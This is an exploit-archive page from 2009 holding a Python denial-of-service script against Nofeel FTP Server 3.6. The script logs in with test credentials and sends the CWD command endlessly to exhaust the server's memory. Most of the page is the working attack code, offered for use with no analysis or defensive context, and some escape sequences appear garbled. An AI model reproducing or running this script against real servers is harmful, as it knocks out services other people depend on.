[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Nofeel FTP Server 3.6 (CWD) Remote Memory Consumption Exploit
# Published : 2009-01-13
# Author : His0k4
# Previous Title : dBpowerAMP Audio Player 2 .PLS File Local Buffer Overflow PoC
# Next Title : Triologic Media Player 7 (.m3u) Local Heap Buffer Overflow PoC


#!/usr/bin/python
#           
#                  ------  |      ______ _____   (--, __*__  ______
#                  |____|  |      |    | |       | ! )  |    |     |
#                [ |    |` |      | <> | |-----> |__/   |    |     | ]
#                  | .. |  |____! |____| |____   |     |    |-----|
#                                      |        _|   -----  | ::: |
#                                      |         |  
#                                |_____|         |   
#                                                |
#                                                |
#                                               ,|.
#                                              / | 
#                                             |  |  |
#                                             |  _  |
#                                           `._/./_,'
#                                             _( 8 )_
#                                            / '_ _' 
#                                           |  /{_}  |
#                                           ` |  "  | `
#                                             |     |
#
#
# [+] Application :		Nofeel FTP Server V3.6
#
# [+] Vendor URL :		http://www.nftpserver.com/
#
# [+] Bug :			Nofeel FTP Server (CWD) Remote Memory Consumption Exploit
#
# [+] Author :			His0k4
#
# [+] Greetings :		All friends & Muslims Hackers (dz)
#				www.snakespc.com
#---------------------------------------------------------------------------------

import socket
import struct
import time

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print "n[*] Nofeel FTP Server Remote Memory Consumption Exploit"
	print "[*] Author:  His0k4rn"
	connect=s.connect(('127.0.0.1',21))
	s.recv(1024)
	print "[*] Sending Username"
	time.sleep(1)
	s.send('USER testrn')
	s.recv(1024)
	print "[+] Sending Password"
	time.sleep(1)
	s.send('PASS ftprn')
	s.recv(1024)
	print "[*] Sending evil command"
	time.sleep(1)
	while (1):
		s.send('cwd()rn')
		s.recv(1024)
	s.send('quitrn')
	s.recv(1024)
except:
	print "Can't connect to ftp"

# www.Syue.com [2009-01-13]